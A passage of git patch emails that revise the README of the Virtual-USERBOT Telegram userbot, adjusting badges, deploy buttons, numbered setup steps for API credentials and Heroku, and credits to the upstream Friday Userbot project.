zu)=m3WBe*JtICxWGQF`(wAMaMc{-gQ-<(c|d7gVylUT2re%ZI}<+8mzk8PLf5nEW8bcmU1hS`X}bUH-QyRZzx?vg{_NxT^ZfZ^I~)$j zW?esie12NTbw9RAW8C-o{xF^AX_?f!z*Pys?}!NA*p|eP5Pu!n{5jkFF3aKv<==oP z8RH+|8*Geu)^+buX951+kzf0(;- zAN#dDdhaP@kmqD~nNkIgutaO>fx-lWC`Ynviq$E?E)rK!O6^1h6=l6@X%~eANVpVT z5lz-!>$Xyr`&Mo0^W1x%_E9g-`{lA%5$bn$$7qvcsdyQz`;LNXqD2pfgro>=B9ItK zYlOJ5p~&QB?opz$xJkxd6(cj_fJ6iq60eMfjZGOFiHPWmFbdM!aK*&q{h=ND(EhTo zhja9a zm=Zd@DI;iCNAwATY>cL+ws$hC zDr-k28eMa=N^}EuUDq|Us%V`<(3|?3P_HcS9vHb`OOI`|g*I!NTgl1TFMF;`qr2q!todE*??$_O zUOQm|CWu69=Q^>@FW8KcW6^-^;R>dE=of}F{h zxs93F7U;apKmX=>_lIXOAJ1b#^S4hUcPdJ6A_9;E*w&k>0wioCUYQ$#`3;#H2@4fJ zFmHs*{21H(4!^=CGNIDNjUgNk+sFchLA;WdM0L%frv7 z>2Ut^XZKIv{+f^f$3>l1Or4m>!OJrr_x$zqzq&gdem0-pP0QStyT0D(?~r!1R+H$$<|gi%B$=7@^UlAR?gme_jv!shsV!9fB5QWAO7eUUw-k~ z{rNZ_4}I<}g0ENSHpW;}bDvmR?E5~hYoDiXjlK3gPv^TYe({U1pD+L7U;WE<@L{XZ z9zFNz>3Mzr_?(w@E*+1@$MfOga6ELikis~V3IdSC8%ey8#2ZQc4%__IY)i7uZyECg z%QEIofNvlY%iP!oY|CZv4X!3F7Hz9?*`zH(iqK6&IYMDXGkqu5@(XQEC~B04U6v^l z_B}+48xw{1d{rh?(0CJOm~Cb3_H|ztrmivSdd;yb)Z4UVUDOm&;4w((o!*h;QjW3} zK?KqGfkbOaP}o#~X+6MzicBz&narJN+yo#H5*Wmd3?hPvki<=7We!*C?Rc8*-rqB^ z)|IH;m-6Ov1bw14P%&C=BgZwOKK1aMGi6PyaU;Ft*Y$d%BUimra=#rv-{*H% z`g+QRgdNsaFN|l`ll{DLRUd7xiBZmSUa~6S*{KNvn`ZVJ5o=V@7bv-6%7E6WP6aqy zr%&{G>hocmrX{AJS6oJ{dtS>~ruF@N+|KuFwZ`y%-N&WsnR>=#8`t@M#vqw=Gl5&G z!Q%t#sHdyckvlK$~A0H0KyZ&y{qY~dlnzVPtM$XbM&$v^_234<65oI+7Z+s(eY!`pQ0`uoY16&4y zr3O{lX4rc=U8AUExXKg_uuPSW({jqpF!y$vr{i)sF4OsVygMBZ^YYc=)>?#XyX^aZ zyVqBo21ja*e0M1=NHMG#?YRP7_Tn^CLxZM}&7e4gg{cs`%L z`uXR7@YUx(`|`tw&mX?{{N4Tea6I&Ri7uI3p0=0u)B1e9USr?ZsuP)&V|z(Q%dE{l zoF6{>@@Egf`sN@1>7V|e|MX8Dj^~H->HX=hWq$khw;J_uI6WMvhvRa0oTui%U_+5j z6K^E(MiL;2A5;7|+mg7k0r49)Hx^*bn=lRuA}QXugu_)d1GdF0+dyKFEz7pbE>l*z zi~-v~VF=!&Ej62x18gBvb~z$iMU9llVO}23_n$r7pAUy#1yuMZox`5g!_{$_f-oS_ zB!#QFf+jVq59g)S%|47_NNFV$1_xupJ#*NVEtARTYgsahQTRbrqD7CEuFNq6qRFkd zHqkR{VDr*3w28yR`8XZcm&^LRjsaKSh4Asp*)f;V$;Tu4d3>gaDM7YYXQnjWQ7A+#o zo<$D!jZ7-#3QI(@%Kpa{b}S&`K9V<_*zTr$4PB&(W<KVgoGOD-DKlchSj_r=YC*oW5ifCx6U#zt=~y!a;~k7-T36VOvjg+K2dv{ zSxz5Wa8P64_tgWLNL-9{OiN=*Afqy1LW^TE{X^BK=Y3zF>)2{eqE#kt)RC8GkJGhH zw3w?0M89&~*fzF?Py2jm(Rz=Vrmc4(kc3Pn0?}xtLP!ymcvaBBki~UdHNJnKF`sF{ z&vbu(KRt|kdR|QH6Lfazj^|Hf|1`$cxz@aCDv==}AvJzrQAy^YP)eaNDC|LzeEss& z;B<`Xz`ECTWsZ9O?w=gqr_5x;TGYa=Q{zi0u@_SXNfD+Ha@#xl8_K%uA{NfMC z`EOt9yU0H&etkT=Ov}DZ?Q%&V!Z(t5Bgr;kn>RK;kP)xMEAtm5flK@@A%2_zNwy`b zu(271&5a8OVWJ>t5+E7S4H8B&KTZ-q##IVXQ`l9QG6PghRCpsrG0n^8U)(Rt^lm$4 z=Kk@y2Fs%kU-Z*g(%n9$tNTF6C?J6Bcmxt90&Hx`Bn+o2U2d+JmVO`a4ySkA>-h7v zzI)O)ZF#vry0z&(`{Q=dKYzab$}hiMzy0*$oh--UGQmW)MkpK_v|Zjp6Pe+3soW4M zS3ux~24G=c*)INq1?JCLya~v{QdnsMoKzmw5Z^Dd`HB!9y6)?`?l~$qIUmla&py1nzdxVuj$eNH#g{+({EIK%KfZgoyFbo{sW0<#Tw)5U zzIv>3Uayx?x#wnQYi*wAZQYl7z6`JHKAkw8?xxdmtNN3F@=pZ^#pieTAI|5tUYBSe z9_|jo{o!z!0ul`{suF*RBtR1X-`SSL8{2>+i+@v?SGJPkjY}3~Tc}*N%#Cfp#f_~B zTojQwp->S(Sr%om{0bY?_>Cw^+=P{sBSO;1Y>Z{=@1WN8Ez6cm&(V89jvm}uXUy)k%#&mV3L=Og8qqs1dv36!g&q^VYiz?1sKG>= zBVwBD%Jgt=yF1gQ^TR>?G~1V_b*!URbb52ssLGt89S=vAiFm=T%ydl+T5F{UE*EC< zFh;b%a)w5b>@T#5wzR1oXl>_`JGs%Wn_V@WawbmXwX0PbP(Tm?jiLa-sH(j%tw+!+ zan&{$gMDM{R3bSv zCQWJ;k&%Vhv0pQH4l{H#p{WxALN3>6xwieqz81#4k7*gb>oJbgG{xMA1k!^@1kK2% zC~U$gfS4K*0V=psV%yp3ay(5;;xIGq#D%)7SDs&Z{$Fyt=JveRHK)C`>}|BDyyi8| zqdiQVc1Kl13w@%UnU^-rLK$`|VnD0y>7@#bI4slMa=h>RQiD9^M{d*dr#6zg|oY6n5ZM3N`73co-a?^ zr@e*mh9Y7rrX$y#b>+IzPs9;LcW>vXwm-krg(2D!ZwWOaJ&(5c^o01%8 zkm*dvuts|1h!IVO5U;|tXm*Kdo{sCLYpqx96U)ND~E;aq)x=gLj z_e5*;LK?-Xoxhmo@B4WE`0?fYOW$FhPZ9UZ$72v68PeLL@A9U0t(_XeL6?w(8V)2t z{DvjjyeWKBH~19>q$Z_WSGh8CII~7^+153^Znb8W1EL5bq68vGj%183j?;Xc`iIAd z!_@B%hx1{XTbFZxd0s!}G(C?o)^**saYI?JT2)Evb8oF#x|XXp+Y6z>K}3tGVQ;Rn zZ)(vG%XQs9K0hUlF|N5wIxo2_^Jkwu{OsqSfA-mD$GhX{?tHpi&JTCX`E-2uc)UNi z)&{7>%`~2t<6%A?TIODP-M8*$dzz-pb=yrT_I-bNc=vGsZj6eUzx(Fp3h$S_xsKCx zH?{LJpC)yZk*yJ3C9IfYQi?aWfvVz7MDSx=AqkKK*amDzh#%9tYy-B+e@-+@!ciDu z8<130{FWp@!i7UsjH>8;a_nPRt+mO8UNyTib3j=|2rS|T*(wj}#>>=z%k@QLoF0yM z$9CxLd|1eFdH%G%T!se{(WJhP(PJv9D=K&uZ-}X>ZANqWV zN&G+T!Ap~L>2;px`&sMVJ2R{5JECzQKoBIMqvfy%o_TCXc;w&dzhO@lVTV1lWQ7$H z4TA&$bT_*D`>HZ??{}@oS=BgDG9=3p07rdYTh+wKIA~~d6NMT#$2%gFnGr~uUE9`k zXRJhWbG=eccj9K@R32qH$8`k5mLg>8w&J$^htKJI;`ul@QE%Q*Jlb)6_i zt;=Q9VUGwvl5P2gI2GD)$)XbR@kx8S1vMniGh}2NhLbw zIOgeo4roIX0pUZhU}B<1g{yj26N$`CK!5;4_j1G&E@)TR;e4(S=l$Yd@4xuu`%9=~M!H(%}7tu8g3kt}%_qFpvqU1N`9>qH#L6Rdpe-J4mPy)WxB)<&;`+$Arw)F+{Nita^~LAg+%jVQc=>R5zbtF-Z2O#oOc*@v z7f<5A-J4vNv7A#$Qu{+2UaiCXvg@gF;uzmd1htID2=U6QF=QpoU>#JA96Ioq6 zJ+e=ZrCf&5^2KRA^Z4b{Wx^|tQpVyDV;$H1sk)b=V#w__nP?iMc0>>|Eg2|WO%B#O zE*HM~^0GZ$9v<#LjB#)*r#;?~gByFl7RUEKzB$DELw&ycms|C|wGY?*a^clc8B6Uo z&vRKb4+a652`-oIjErSy*3)%+H^>?5>21a5zMz%QfA-nO&wm-O-;RJf&pb4vfTtrT zzVY{9@QpvbM#cx4o8+VUpp$s}XMg(7{=1+3)ldKBPygzZ2fp>5{vvLG?&d{zbJNX# zK$sf|%#Fq0C1LSQ=4)#HE}0uSlCMcf+(_bPv5k$5Lse)H)*Tw|9v*S=IElOJCH>6_?7e%jYh_w(b`pKVINe#QMf zJH{4cDyIT8w4{28G3at7h-ZF*xUmg1*ye===Eef^Tefhx?RHy*%5DrYG8nfo*v4`d zE>|bLWS-Xb{y6T|<=y?=z{8&Br`h(bo9;gAQ@Xq8Zb95I5)+crpIU* zqC3OjjLUV)s~@l1dA~O7RZiXA-~AVV@x3v|-NXIs*RPNF$5_Yll*@6sdvkyH`t|bg zs>fO(=Wxi@a-8qK^{wmm`o%9ldwjaQdFbVMNc*cVKaRuk?r_H#%kklQzI^$sFM98J zzTU08yFY#M_Wk=e_lK%G^>Jv;NL3)z-EOdGNdEt^Ks*yS=9vNUd)czNX`5dQ2Lc?H zF}8UoejnTXPPo-lBi|q#(6)gVbbufTiNJDzky3%Ay*8N?k;eUSdid6xH-{y?ZK}qV zQcEHUwL?ZUUx1l#55%cn2CcsxI`m~|`}Cvl)nPZQgDOo^>B%fiO$ks)bG zU3a@_x~~-h6JP8Lb0dNo&IocG7F^n6t8Fq^5`;tsf=a?tTM*Eeo&{2=<-p#Iu7|aDTtVayTr>hF7^HtXadLZu6J$WS3i^Dm_5D8m(#~U9Xv5|4rzVGY4k|JQf=cz7Vef<2FPrv${ zedBPf2T&}>*dSHC3}G=%1-TY0O}3j_6>Lze@8Eq**g~;a{Vw0g3+*iLdF#Zt*n&!mhKfKzH%V!TCKfQc>`f&MRKX5$7o4#xj#5y_59Frs@#>la%rYq#p zHpa%b%!{&l;TwUm-I)KFu&bLYw`F&WR@iFG#%>{Z1zv;Gy1Y6a?horBat*m_+b^~4 zJxlEy;2b4$laY!DMdk?P8=@qPWl1Iwaae74cXe0SoHkKGj5yEjS&DU?= z{NM*a_{$&N=Q0k5!+JXASYsK-`}^a=tB2RGUcGxePWR_Iw_+@7M{e8pfZn`$-?J}| zm-G4Z;c`)q*{x;G!?AIa8S&{aKKq-$`sw-058CUKS9d@7&L`jhqoR&eT(T+=&Y%4kvB{|TNUe{%eQSPd}+k#ANj_Xh^(z&|kjzOY|ZX%F~ z5aBMmyV9`P~E-0 z(z>oOww;OyV*!byvD+Y?IXvArRdPrrB{zN{jwiZ7ba!fuT!}zqsEEMcpUz)=@!`V< zG&vn~9Cw)q_d-;JXzhDdnJ3njT(F?boRPUK%beR@l&MP%H67Z*mlD`?fs z_aoyJ+@%&=RfZsw2m~pj)5eq9+Y=8_%tmDwu|R@Y*OeBbYVA3t2HVIe1Yy@c*^5Xr zIVIzidN?kt=zZJH*Zo@6d@O7;3mP2UDCj_daT5kXgGHMbmxuEg>t}y`{pDwKYkbG? zp6!v#SG^o?4{gWgNr%h6yuV&g0y_Iz;NEW5l&7X0S^K^(>1vGBg%8UBoOxY7+*b#v)8a(4fdj8hYQ^ zC))*&J@cS@*FO7-R>o=cT6tK~WThW-|7!MRzpzHSxSqFa#vr%Keev+(=r+NPjByqF zP7KyMF>`J)>%e;Ci!uBK9)7X?@_+it-<<#Ku-oSEkg&Ot#P1^;^DM+OC2nzJaU*eKA#o$iHvcY3wk7dG zFSwCNV-&*S8xYu*#BWGKLPFw&K(_gvHrUAM*SL|)2GNXku>l7v0=g&?pd;W6Vh=BhsU*y4|)hkPxC98k-vdZU|ti3d-4~nA+P6ruS|B{BU^p z@a?gh_&u5z`M5s@#3Pm&S|0)@dC zBGN7M%*F^zs6wC)m3yx_tBNjjSdZ7sk-LEy_WOS*D>-O+)_wef7`){2;`}ETBc+@ng0me{9Xgv>)pq!|0yj8px|wz%Lt|SuShhh87PbM~+%zHd zEEH99UzMnY-oJkJo%ipSsJUI4dvGHwM2aK^Jn<|nZY*xX9ld9aqy$35D22r4oX)}A zcFyO0>^;(6AOg9o%67F%!-1(P+ma~ldtI-%$wZ0mXakwp*mM)fb~i%na!2^u`@Yqj z&`23cL`aPV=9%2GU1bV4H!@$76yk;KRuLx5oIUq89mq1ErorY}^GsG`j-e2BA!r+O z6A|_lAY@f_)i&pzGwjxo600p33~@XjtIBo|LPX$T*3(xPAe`5yIj;;c4xCP>HAY%; zDLWRc*{M0Vc|jrvV?@hcC^RCMn4aAm1f*!jmdjr23PqLKi)<#ncX?`M$#FOirMsuQ z74At_fN0lrH)U={b&i!Tgxxi%?g(e73k-<>m7+y*Gh4Q>LExqv8=i0{BnJ-TklGzB zaDxy5p;lLWdhT?C+yw&(Cozab5*b7egtMn&-)0&qGCRnjw5zFR-}vzObd1B@8sq^x z&2WT_8dV!aCmLj+lngc{cDEHRI=C6p+qit?51;K%Uv<{u)#-G6=fiP7<<8v9r(bj^-rNy}tZEIP)rW-P&?#*%=V z+$gv)lv^#yh%g`m3=v@51PZMwU%l@fcH&w-6rIY|>&#;;r}c5a^mVoej%7vnqqlA` zwlTN47Z$NoJGGTZZ`;gcBq`C|uCf_|3EPoc+2?iJ9`b#Ce*Dh+e-x*f3sh0}u44@h zh;RJ;7<}UoYOsqU8&4RR!9(&2u3jhWF~0X-|M}hFm;d6EU;N~M*bk3OaU%(c2!6vh zzh3~7a9cb7O-G*B%g5bQm=os0jOf*rckUsnB^Xs;c z1Ap>^@Ba87{)2CS@4Mgo-uHg^!ymqXtz}sT;a+h7WsC3ySJGv}ocXZB6 zWscWx-k-1A=bwLm>8FRg`(r2-O?>?L@xzxt`#=8ofAP0J`DvfGfBeHgd-v|m`}_Mv z72ZWDLX~RCQ3f+q}|rx zFixkas_V7(O*JhcEh7(Bcg^di_l@X=5DEBe;HJT9Tb}O1#+J|vhmZt~ED%U^vtM@T zNFtDA8wewD6M;mgd=pXxgk5_RLDe41hzO`|y1i|i?QQGh48jSv8v}|MSq;imx64&l zchBirAI=kl@g(4MVnAd^6l`E{4gzUTFWWSTF~+j4McvF@JSkaGUer>^ge6Ev z&WNb3yU9R;go26yww$vs`@Y=g@nJn4N3oYT8wm?q-PBY~_4F)Dc#uJu3?hlatSw_v z3=U(UZrXBeLyLvN%ZQP2)jaR>Jo)$q`+l8U9S+wBOobJUn!5uB3}Q&@V5FqX(bHUN z?$g_hUD2)9wRHWsUC(=QczCnCdH3r0YFXc^?my~yZFWs{IcFclVGUkU#!UyUGrkaG zrkvhsr%4h#*&7S?o#`H)VmCI6GV`QGj?5Z9f9x;q4G9glCl9dJRjOI?9nzb1+EeWg2m@&AqDTQPOAxcPucoy8)Kxguh6zKt_GV|l&R7PyNbcD-39)dm zJH8a3Ugo#2REe2-U8N7j?jW=oh z#rFOChwp#)PnZ0ge>1=M=d~drIYKx5f0FpM2yC87;zkB6B)%qLnHLhjCUYaq*L;Jy zk#O@hn;T$lOU(V9d50YY#r%ACki#TY=;5cfQ4;dG?tOn{Else z8(U4-vtQJU-Ll=dC6Gknt*>i@a?vUeO4GEnBZXuMa+k2pboqfH$xWi*#u1>Rxd|hw zXfREKbF@@q&UxO>+uW^o=;>1Tuh#GU$+!RUKlvyB^gsWnpM3Jk-NXIcw{MsG!(m+` zRC62Wr{#LRoF6ZjOL@+@Mdl$s))S|Qm90j7hx2P;MW;&P1L*z+XTdN5dc3J@vj1^@phr@yW z>~4pa!>V;jS=Y1A+rBeDaz4+w%r(bIMFcP*f>@V0BcF26y z*Exyg{%xL?!i;5G698gpB>-mi~wK_Ugm5onEGT{-au&M@FapCS)yEb?$H86_%TABH9_g_V*9 zmMg5FjG72?ic5}7_gt<&go0uWYg}TG!Eju!mxehhlgsR}#d2VUtUh1&ZJU7(bndOW zXlRKb*wwoQ@`wo8*MY*4EJr|e%MQZrz@{Ka=NNHVbKOs0#eAw+yOWNLF-oL-teDrH zPsGMrv|?9JVfHto`ca-+ZN?o_WXVKB)NFPtULa^plyr zah`P=`^hJo-Rvk~hBOxJ){{&%fT1Wx|Qkn+yLgH%<3=%d7n;Qv(1mecV=Eml0A)cAP%fipN>9z!2 z7C6!k*xcAi*p`s6`I?Pw@j~1P&>qfq!+_{&D}ulTI2;xZHB|TBIZ;DN3|J1wQ&(?p zsXJy1gVafts?~xP*%CJ)H&Vk0!NkD8~LCbrQZcUY26YCMfpg{R7amhsRN z&5v0}X(*)JN%eU0dFj4`gIp-o38roH!Z$qgjj#RYZ1G1XB~Tc1V;j3|Ng&(&TG;0Q#V0BsbkisNF>s-CzU~QX3=? zU$e0lVT1(c#xFwrdu(ij02|v8A(x?>ZRPEAzRj~~u`t?hB|$I`~3 z ztu;F~tEE_wVCyzP6*gu6*1Oz=r|PWIolNx8FKYL{pDwm{^|MkBX91x9D4uh zFaPboe)_Ne{MDqcoM*opjf~mN2NduL-}vJjeB%#F7`g?T%`PvakzpLR`r;gK^1%5^ zdS-m@AC3iye~)eclS$(Dkud);5;hVxHa9jm&9e~V-{I!Q#>VEEfevHyJK~uLVX(3J zH5q|;W^UvTXu#1O&{7KF7LpPni$YBxG{~ff7;uy~&)pf0D036sxUj`d=oz-!5VEjk zapT~|uptNs`=B8Pt6bhE2C`WdiwOutE{o?vuaF8UO&Cp>r81LhbpwfABFr<}ys*s+ z+mdW6!ZyE;ZNRPRE_a(Ij0p(|B$nekM&t<7*Xp4rV;!URO-f{ABBf9UivEa9$UccnGDIBjPWRjEpMUo0-~Qs~ z|Lgzqzy0K2|D?}+|J|!U`QG<_{QVz&``!ENd0Ux#&3(VF2Q8sCdrdImP#UGe4Mca- zQu0S7$u=+iHGCt97qoLh3)3|&~HG9@=e>_bJjS7#PN9i*88`w z?(XaSCB0`@lFf}RTM$?lU$ejh^Fm?CAw+YdwmsceHtcOF*7bNm_O-jKXh9M|W{lQo z4QpQaePQ2AO0kH7>L!yV*L6KC%VO(txqSF=`Qi&|=l&t@?_V7chs%80w!NEmUH7e% zMWkq1xD}4zT3}&!(@i%r2-`r2XX3^tcosJabVNvgK@Nc>Zfv@_>F!iE#Fe62q-LUW>XuO5roJENr-N$7{OT9RP5w4g>BkEEa|Sx(^EhM-ITCkpkRqR z=4?+_)%2WH5k^KqSm_Za97xJMj(zBGio2x`*WTe$#VqyFOVOE{auTo!j1PtvSCj-mJY(6)%=zfRtRVdLArSQJHt0X-BqoZVlKruT|TqH?QvN zOy0xFu2|-2o({WtfAc)*bl=ytV`{_DVd9+QTom*`CQS??;dljZUT1A$Ee7GpnwRL& zX$=>-F*Yt*a1n%Pfg3KiQ*Nj2&1XOIkJ|S6;9g73SJQ6UUC}4+zdwiOSX3j+>-|_O zPb`YIm#C9&n@w zh?vL;CTJRN+gk1JO!H*QjE&XUbd{!PX%G1Zgh9*j(6rp%4!wE`+!+7=Zxs zz+f)MnfD}Ml~w^_3T)mhkU%N16f`0z18MVxqIa%=gd~jb;WaUB6Bo_+0hKmEUnZ(@ zxE>%9keC7(s_&2KRWh3>U2%UtyxaC2dLK{j-@O=dikrXb{nJ`*xV;@O_phIg*9Q*T zeehTD;pg=8yr1&jv%FvGZt+sQc+*}S+p~|i-_`|K4M7O&BEpZLfB>3=bZRI%Ze!i< z*6r21e6#A5`{7I}LM4!4OcJdqN2*2i&=gFrHmYUrT8~g`iXNp*Z(C(moo;VP$=0Zr zv_cL!hDH&N<{q2cX>6-i_RKoQK+L;1EH}4LZocu2k3ah8#kYRtTOWV?@rNJ3SPsjy zL@a@PKE7$~rpZ8(0wm9~t`6JzbdQ@IQ`j2Yd1aHd-acuEt98@c`;wr=g@xbQ7ZV|Qt+khlM5;+7-*amEYEpXZL7Z8uky`GkbJ)ne%Dn>?a z&dqf$*79a=j9oDPit&+t5r=)L|C}W<6K$t&_&D1Hd!9Unymyx^ljVJ#nc@x z$}07y*2ZzB6>U{7&DA<{Fhd`nQm$@V#WaF!s)*Dpk8L+;iJ47NeF0^h#=U%1qn+x0 zh_=JQY31pRjf8-eI?SrUyliH22MWoB&$Mp6TBM8=l$ zG7fW_rrXoFU(av1yeG2lbS-%>QmebYGqG;lT4$EdZl*1S&cw*=={mhdyQ|=!PvhtEYF2ZQR|##BkI*+Oc)*aA+v9+M2ay zRZ1$mq}^dTTwm|^rX|za`_;Q6OXY00K6W+swJnT0PHVNQ9`w%Bw@fG6yNM`#>SM&n z$+SWO87!E<#)w-aP*ck7)GPT82;a zalK_cr=AfzcCehd`ZT6bpYqu?uN!&dx^cDnaL;w?(=^`J@vpP~8h#Ld-FGdPgISK_ z=54={`n`jpkVEC3(UbifxF6GQ(vv;c6LY}2jnkUz{PwoCd$j3F99Cl3xwJM}S*i^w zYN@&!rFGQXmv4wb&DB`1z3x~CnYd^og1PHzxuGwtt7_Z&e#=v~txa5s0~{vyyT)(QQ@_qI%=xYVa^pKYDsFy2yT5+>CjA@!$YkcYI>gwgom;IA}vc0*R;!pO)`evQ7u_p)BK-D;+GlC!m8UfgR$rpS< z5|8wV_iP^d5r026|FCQ%-jlGokdTmgFU;R2@zX5AT%=0|3IdQ6O<1n7tw#~I5!fIw zgoK2UB@vdfQPAerXVcB3dEZ9DiH+4gmRVP=@5BV&M!L3SxD6;*)qo)hC_+4NVVM#j z39tp&2K)%Sa8;!%aaAFipCO4y3Zt@t&P9X>FalB0h$uB>1G(pRG}yXYT@*G zJ#J@KYI9`>DOl%uzP-Ku@cFZ+PoF+}_T=M_KmPE;=eN&ppMCi3`uduN6jWJMRdfVl zi~?E&ecDaC>+9>Li0G%&x^3GSV_A0B*VjKd))+O~{o()l zd;2NA`SOF`_~l>v?kCTmU9~yy$7n<+gu%!Zgv5m~KOtlBRkF>OEPk48kZmqPfQ&%~ zVVj>3koY}pL&;o7vO_9~2Wq~kDi?&xwybt{|MoEH_WJt8htHopdD2=tXOe}QjG!h0@gEg&k)kybM890rF&3lp}LUP#>5nOEBHU{fC z*LAgtV83Uc8!hU`Y^j#rA_)fE9hpE|7}$xhrr7d%?mH6z>|4I39dsKll0 zlq{+DuGoOq1U0oFM5A@la1d2ngzAD^$)d8VM%AG8vA&n2+l-+BE62O4SI6aZc-yFr z^l?4kolheA)zwx`<*5==wYhaojh%I%4vGR{8>%QtK#3~Xa64wuYo=nXwQU8b`)!

+# + +# + +# + [![forthebadge made-with-python](http://ForTheBadge.com/images/badges/made-with-python.svg)](https://www.python.org/) [![Maintenance](https://img.shields.io/badge/Maintained%3F-yes-green.svg)](https://github.com/inukaasith/virtualuserbot/graphs/commit-activity) From 7bde6d8365f5bfd5ab2535bc1d0bb1a1e259022b Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Fri, 25 Dec 2020 23:02:11 +0530 Subject: [PATCH 185/838] Update README.md --- README.md | 22 +++++++++------------- 1 file changed, 9 insertions(+), 13 deletions(-) diff --git a/README.md b/README.md index c42e22ff..921b0326 100644 --- a/README.md +++ b/README.md @@ -20,6 +20,14 @@ +Please Star this repo If you are deploying this Userbot + +

+ + + + +

# Before You Go @@ -28,7 +36,7 @@ ## AppID and API HASH -Get APP ID and API HASH from [HERE](https://my.telegram.org) and BOT TOKEN from [Bot Father](https://t.me/botfather) and then Generate stringsession by clicking on run.on.repl.it button below and then click on deploy to heroku . Before clicking on deploy to heroku star the repo from just below +Get APP ID and API HASH from [HERE](https://my.telegram.org) and BOT TOKEN from [Bot Father](https://t.me/botfather) and then Turn on Inline mode for the bot ## String Session (Need before deploying) ### [Using the Bot](https://t.me/stringsessionbot) (Recommended) @@ -50,14 +58,7 @@ send /id and get the group's ID # -

- - - - -

-# # Deploying To Heroku @@ -70,7 +71,6 @@ send /id and get the group's ID # -# ## How to Deploy guide by Friday @@ -83,7 +83,6 @@ send /id and get the group's ID # -# @@ -149,9 +148,6 @@ published by the Free Software Foundation, either version 3 of the License, or # # - -# - [![forthebadge made-with-python](http://ForTheBadge.com/images/badges/made-with-python.svg)](https://www.python.org/) [![Maintenance](https://img.shields.io/badge/Maintained%3F-yes-green.svg)](https://github.com/inukaasith/virtualuserbot/graphs/commit-activity) From b0a43482fb7a605577a512b691faa18980ec775d Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Fri, 25 Dec 2020 23:03:31 +0530 Subject: [PATCH 186/838] Update README.md --- README.md | 6 ++---- 1 file changed, 2 insertions(+), 4 deletions(-) diff --git a/README.md b/README.md index 921b0326..f59cae38 100644 --- a/README.md +++ b/README.md @@ -20,9 +20,9 @@ -Please Star this repo If you are deploying this Userbot +### Please Star this repo If you are deploying this Userbot -

+

@@ -69,7 +69,6 @@ send /id and get the group's ID # -# ## How to Deploy guide by Friday @@ -81,7 +80,6 @@ send /id and get the group's ID # -# From fe4f2a69efc1ef68bbb85de02fb4cfc1d904edbc Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Fri, 25 Dec 2020 23:04:41 +0530 Subject: [PATCH 187/838] Update README.md --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index f59cae38..1eb281a5 100644 --- a/README.md +++ b/README.md @@ -2,7 +2,7 @@

Virtual-USERBOT 🇱🇰

-

A Powerful, Smart And Simple Userbot based on Friday Userbot.

+

A Powerful, Smart And Simple Userbot with 300+ Plugins
based on Friday Userbot.

Commit From 8538ee185065c7a88b69936291bae787187c0bfc Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Fri, 25 Dec 2020 23:09:26 +0530 Subject: [PATCH 188/838] Update README.md --- README.md | 8 ++++++-- 1 file changed, 6 insertions(+), 2 deletions(-) diff --git a/README.md b/README.md index 1eb281a5..1ac3ca8b 100644 --- a/README.md +++ b/README.md @@ -2,7 +2,7 @@

Virtual-USERBOT 🇱🇰

-

A Powerful, Smart And Simple Userbot with 300+ Plugins
based on Friday Userbot.

+

A Powerful, Smart And Simple Userbot with 300+ Plugins
based on [Friday Userbot Project](https://github.com/StarkGang/FridayUserbot).

Commit @@ -149,4 +149,8 @@ published by the Free Software Foundation, either version 3 of the License, or [![forthebadge made-with-python](http://ForTheBadge.com/images/badges/made-with-python.svg)](https://www.python.org/) [![Maintenance](https://img.shields.io/badge/Maintained%3F-yes-green.svg)](https://github.com/inukaasith/virtualuserbot/graphs/commit-activity) -### Please Note!.. This bot is a Developed Version of Friday Userbot.. All credits goes to StarkGang for the Friday Project.. +### Please Note!.. This bot is a Developed Version of [Friday Userbot](https://github.com/StarkGang/FridayUserbot).. All credits goes to [StarkGang](https://github.com/StarkGang) for the [Friday Project](https://github.com/StarkGang/FridayUserbot).. + +### Made possible by [Friday Project](https://github.com/StarkGang/FridayUserbot) and many other opensource projects.. + +### Special Thanks to [Tech Wizard Entertaintment](https://t.me/Tech_Wizard_Ent) for helping me. From 2e470b309f35167ea9ace61c06e529dbb5cc05f2 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Fri, 25 Dec 2020 23:11:08 +0530 Subject: [PATCH 189/838] Update README.md --- README.md | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/README.md b/README.md index 1ac3ca8b..6f6cba2c 100644 --- a/README.md +++ b/README.md @@ -2,7 +2,7 @@

Virtual-USERBOT 🇱🇰

-

A Powerful, Smart And Simple Userbot with 300+ Plugins
based on [Friday Userbot Project](https://github.com/StarkGang/FridayUserbot).

+

A Powerful, Smart And Simple Userbot with 300+ Plugins
based on Friday Userbot Project.

Commit @@ -34,20 +34,20 @@ -## AppID and API HASH +## 1) AppID and API HASH Get APP ID and API HASH from [HERE](https://my.telegram.org) and BOT TOKEN from [Bot Father](https://t.me/botfather) and then Turn on Inline mode for the bot -## String Session (Need before deploying) +## 2) String Session (Need before deploying) ### [Using the Bot](https://t.me/stringsessionbot) (Recommended) [![Use Our Bot](https://img.shields.io/badge/StringSessionGenerator-Use%20Bot-brightgreen)](https://t.me/stringsessionbot) -## Heroku API +## 3) Heroku API Create a account on [Heroku](dashboad.heroku.com) first. Then goto sttings scroll to bottom. Reaveal API and get api -## Plugin Channel and Private Group ID +## 4) Plugin Channel and Private Group ID Create a private group on Telegram. Add [MissRoseBot](t.me/missrosebot) to you group and give Admin permissions. From 83a8314e016dc00eebcfb1c78930de4e4ece7a49 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Fri, 25 Dec 2020 23:12:02 +0530 Subject: [PATCH 190/838] Update README.md --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index 6f6cba2c..fc0fa40e 100644 --- a/README.md +++ b/README.md @@ -30,7 +30,7 @@

